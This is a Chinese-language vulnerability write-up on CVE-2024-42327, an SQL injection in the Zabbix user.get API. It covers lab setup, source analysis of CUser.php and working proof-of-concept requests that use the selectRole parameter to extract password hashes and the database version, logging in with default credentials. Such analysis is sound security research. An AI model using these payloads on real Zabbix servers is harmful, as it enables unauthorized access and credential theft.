CVE-2024-42327:Zabbix SQL注入漏洞分析漏洞分析

CVE-2024-42327:Zabbix SQL注入漏洞分析漏洞分析

船山信安 2024-12-30 18:00

漏洞简介

Zabbix 是一款开源的网络监控和报警系统,用于监视网络设备、服务器和应用程序的性能和可用性。

攻击者可以通过API接口,向 user.get API端点发送恶意构造的请求,注入SQL代码,以实现权限提升、数据泄露或系统入侵。

影响版本

6.0.0 <= Zabbix <= 6.0.31

6.4.0 <= Zabbix <= 6.4.16

Zabbix 7.0.0

环境搭建

参考
https://forum.butian.net/share/3056

访问
https://cdn.zabbix.com/zabbix/appliances/stable/7.0/7.0.0/

选择 *vmx.tar.gz 这个,解压双击.vmx 文件即可导入 Vmware Workstation

然后开机即可,访问机器ip的80端口即可看到 zabbix 登录页面,默认账号密码是root/zabbix

php调试环境搭建

参考
https://juejin.cn/post/7201509055713493049

我这里源码从 
https://cdn.zabbix.com/zabbix/sources/stable/7.0/
 下载的

虚拟机中没有php
命令,但是有php-fpm
命令可以用

php-fpm -i
获取到配置信息后使用wizard安装php xdebug拓展,这里安装xdebug-3.4.0

cd /tmpcurl https://xdebug.org/files/xdebug-3.4.0.tgz -o xdebug-3.4.0.tgztar -xvzf xdebug-3.4.0.tgzcd xdebug-3.4.0# 编译所需环境yum install -y install gcc automake autoconf libtool make php-develphpize./configuemakecd modulecp xdebug.so /usr/lib64/php/modules/

然后vi /etc/php.d/99-xdebug.ini
 添加行zend_extension = xdebug

然后systemctl restart php-fpm
重启 php-fpm,最后php-fpm -v
查看是否成功生效

配置php.ini文件,在末尾添加以下内容

xdebug.mode = debug,develop,tracexdebug.start_with_request = yesxdebug.client_host = 192.168.182.1xdebug.client_port = 9003

具体作用可以参考
https://xdebug.org/docs/develop

这里是指定vscode所在机子的ip和通信端口(注意要开放这个端口)

然后在vscode添加调试配置,将生成的php xdebug的默认配置改为

{  "name": "远程调试","type": "php","request": "launch","port": 9003,"pathMappings": {    "/usr/share/zabbix": "${workspaceFolder}/ui"  },"hostname": "192.168.182.1"}

漏洞复现

Zabbix 的addRelatedObjects
函数中的CUser
类中存在SQL注入,此函数由 CUser.get
 函数调用,具有API访问权限的用户可利用造成越权访问高权限用户敏感信息以及执行恶意SQL语句等危害。

首先通过账号密码登录后台

POST /api_jsonrpc.php HTTP/1.1Host: Accept-Encoding: gzip, deflateAccept: */*Connection: closeContent-Type: application/json-rpcContent-Length: 106{"jsonrpc": "2.0", "method": "user.login", "params": {"username": "Admin", "password": "zabbix"}, "id": 1}

然后SQL注入获取敏感信息

POST /api_jsonrpc.php HTTP/1.1Host: Accept-Encoding: gzip, deflateAccept: */*Connection: closeContent-Type: application/json-rpcContent-Length: 167{"jsonrpc": "2.0", "method": "user.get", "params": {"selectRole": ["roleid, u.passwd", "roleid"], "userids": "1"}, "auth": "2ae264ef7c19d2c2016a302c64e974c6", "id": 1}

漏洞分析

定位漏洞点ui/include/classes/api/services/CUser.php#get
这个方法

public function get($options = []) {$result = [];$sqlParts = [    'select'    => ['users' => 'u.userid'],    'from'      => ['users' => 'users u'],    'where'     => [],    'order'     => [],    'limit'     => null  ];$defOptions = [    'usrgrpids'                 => null,    'userids'                   => null,    'mediaids'                  => null,    'mediatypeids'              => null,    // filter    'filter'                    => null,    'search'                    => null,    'searchByAny'               => null,    'startSearch'               => false,    'excludeSearch'             => false,    'searchWildcardsEnabled'    => null,    // output    'output'                    => API_OUTPUT_EXTEND,    'editable'                  => false,    'selectUsrgrps'             => null,    'selectMedias'              => null,    'selectMediatypes'          => null,    'selectRole'                => null,    'getAccess'                 => null,    'countOutput'               => false,    'preservekeys'              => false,    'sortfield'                 => '',    'sortorder'                 => '',    'limit'                     => null  ];$options = zbx_array_merge($defOptions, $options);// permission checkif (self::$userData['type'] != USER_TYPE_SUPER_ADMIN) {    if (!$options['editable']) {      $sqlParts['from']['users_groups'] = 'users_groups ug';      $sqlParts['where']['uug'] = 'u.userid=ug.userid';      $sqlParts['where'][] = 'ug.usrgrpid IN ('.        ' SELECT uug.usrgrpid'.        ' FROM users_groups uug'.        ' WHERE uug.userid='.self::$userData['userid'].      ')';    }    else {      $sqlParts['where'][] = 'u.userid='.self::$userData['userid'];    }  }// useridsif ($options['userids'] !== null) {    zbx_value2array($options['userids']);    $sqlParts['where'][] = dbConditionInt('u.userid', $options['userids']);  }// usrgrpidsif ($options['usrgrpids'] !== null) {    zbx_value2array($options['usrgrpids']);    $sqlParts['from']['users_groups'] = 'users_groups ug';    $sqlParts['where'][] = dbConditionInt('ug.usrgrpid', $options['usrgrpids']);    $sqlParts['where']['uug'] = 'u.userid=ug.userid';  }// mediaidsif ($options['mediaids'] !== null) {    zbx_value2array($options['mediaids']);    $sqlParts['from']['media'] = 'media m';    $sqlParts['where'][] = dbConditionInt('m.mediaid', $options['mediaids']);    $sqlParts['where']['mu'] = 'm.userid=u.userid';  }// mediatypeidsif ($options['mediatypeids'] !== null) {    zbx_value2array($options['mediatypeids']);    $sqlParts['from']['media'] = 'media m';    $sqlParts['where'][] = dbConditionInt('m.mediatypeid', $options['mediatypeids']);    $sqlParts['where']['mu'] = 'm.userid=u.userid';  }// filterif (is_array($options['filter'])) {    if (array_key_exists('autologout', $options['filter']) && $options['filter']['autologout'] !== null) {      $options['filter']['autologout'] = getTimeUnitFilters($options['filter']['autologout']);    }    if (array_key_exists('refresh', $options['filter']) && $options['filter']['refresh'] !== null) {      $options['filter']['refresh'] = getTimeUnitFilters($options['filter']['refresh']);    }    if (isset($options['filter']['passwd'])) {      self::exception(ZBX_API_ERROR_PARAMETERS, _('It is not possible to filter by user password.'));    }    $this->dbFilter('users u', $options, $sqlParts);  }// searchif (is_array($options['search'])) {    if (isset($options['search']['passwd'])) {      self::exception(ZBX_API_ERROR_PARAMETERS, _('It is not possible to search by user password.'));    }    zbx_db_search('users u', $options, $sqlParts);  }// limitif (zbx_ctype_digit($options['limit']) && $options['limit']) {    $sqlParts['limit'] = $options['limit'];  }$userIds = [];$sqlParts = $this->applyQueryOutputOptions($this->tableName(), $this->tableAlias(), $options, $sqlParts);$sqlParts = $this->applyQuerySortOptions($this->tableName(), $this->tableAlias(), $options, $sqlParts);$res = DBselect(self::createSelectQueryFromParts($sqlParts), $sqlParts['limit']);while ($user = DBfetch($res)) {    unset($user['passwd']);    if ($options['countOutput']) {      $result = $user['rowscount'];    }    else {      $userIds[$user['userid']] = $user['userid'];      $result[$user['userid']] = $user;    }  }if ($options['countOutput']) {    return$result;  }/*   * Adding objects   */if ($options['getAccess'] !== null) {    foreach ($resultas$userid => $user) {      $result[$userid] += ['gui_access' => 0, 'debug_mode' => 0, 'users_status' => 0];    }    $access = DBselect(      'SELECT ug.userid,MAX(g.gui_access) AS gui_access,'.        ' MAX(g.debug_mode) AS debug_mode,MAX(g.users_status) AS users_status'.        ' FROM usrgrp g,users_groups ug'.        ' WHERE '.dbConditionInt('ug.userid', $userIds).          ' AND g.usrgrpid=ug.usrgrpid'.        ' GROUP BY ug.userid'    );    while ($userAccess = DBfetch($access)) {      $result[$userAccess['userid']] = zbx_array_merge($result[$userAccess['userid']], $userAccess);    }  }if ($result) {    $result = $this->addRelatedObjects($options, $result);  }// removing keysif (!$options['preservekeys']) {    $result = zbx_cleanHashes($result);  }return$result;}

可以看出这里在解析传入的参数。首先将传入的参数合并到参数模板中,然后根据合并后的参数调整SQL语句的from
、where
和limit
等子句,然后查询用户表中所有字段

fetch
结果集后,unset
了passwd这个敏感字段,所以预期这里的结果是获取不到passwd这个字段的

while ($user = DBfetch($res)) {  unset($user['passwd']);  if ($options['countOutput']) {    $result = $user['rowscount'];  }  else {    $userIds[$user['userid']] = $user['userid'];    $result[$user['userid']] = $user;  }}

处理完查询的结果集后,又向结果集中添加了一些对象,这里调用了CUser#addRelatedObjects()
这个方法,跟进

Adds the related objects requested by “select*” options to the resulting object set.

protected function addRelatedObjects(array $options, array $result) {$result = parent::addRelatedObjects($options, $result);$userIds = zbx_objectValues($result, 'userid');// ......// adding user roleif ($options['selectRole'] !== null && $options['selectRole'] !== API_OUTPUT_COUNT) {    if ($options['selectRole'] === API_OUTPUT_EXTEND) {      $options['selectRole'] = ['roleid', 'name', 'type', 'readonly'];    }    $db_roles = DBselect(      'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').      ' FROM users u,role r'.      ' WHERE u.roleid=r.roleid'.      ' AND '.dbConditionInt('u.userid', $userIds)    );    foreach ($resultas$userid => $user) {      $result[$userid]['role'] = [];    }    while ($db_role = DBfetch($db_roles)) {      $userid = $db_role['userid'];      unset($db_role['userid']);      $result[$userid]['role'] = $db_role;    }  }return$result;}

可以看到这个方法在adding user role
这个功能点时,将用户可控的options参数内容直接拼接到了SQL语句中,于是造成了SQL注入。并且查询结果会存进$result
数组中返回,最终以 json 形式返回到客户端。

并且这里注入的位置在查询的字段名处,可利用度相当高,于是可以轻松构造相关恶意语句

{"jsonrpc": "2.0", "method": "user.get", "params": {"selectRole": ["roleid, version()", "roleid"], "userids": "1"}, "auth": "2ae264ef7c19d2c2016a302c64e974c6", "id": 1}

来源:https://forum.butian.net/article/639ph0ebus

作者:ph0ebus